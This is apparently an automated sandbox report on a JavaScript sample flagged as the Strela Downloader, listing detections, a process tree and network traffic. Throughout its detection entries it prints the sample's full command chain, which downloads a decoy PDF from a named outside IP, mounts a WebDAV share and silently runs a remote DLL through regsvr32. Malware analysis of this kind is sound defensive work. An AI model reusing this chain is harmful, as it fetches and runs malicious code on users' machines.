Edit tour

Windows Analysis Report
1353125634235611874.js

Overview

General Information

Sample name:	1353125634235611874.js
Analysis ID:	1587535
MD5:	768f2cfe13fd71395a5017efe270cd7c
SHA1:	72f7e2c879ee8ef7fabd4c89ee2f1c57ae2ac486
SHA256:	d3a8b6524203c923532b57514fc3d227a137f9d7e797397676db2a93cce689fe
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6560 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1353125634235611874.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3872 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3528 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5616 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2452 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5952 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2284 --field-trial-handle=1620,i,6174676368958493987,11280257387493683627,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3036 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4260 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1656 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6560	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3872, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3528, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3872, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3528, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1353125634235611874.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1353125634235611874.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1353125634235611874.js", ProcessId: 6560, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4260, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1353125634235611874.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll, ProcessId: 3872, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1353125634235611874.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll, ProcessId: 3872, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1353125634235611874.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll, ProcessId: 3872, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1353125634235611874.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll, ProcessId: 3872, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1353125634235611874.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll, ProcessId: 3872, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1353125634235611874.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1353125634235611874.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1353125634235611874.js", ProcessId: 6560, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3872, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3528, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3036, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4260, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1656, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3036, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4260, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1353125634235611874.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll, ProcessId: 3872, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:32:23.354465+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:32:20.829758+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1353125634235611874.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1353125634235611874.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:32:20 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

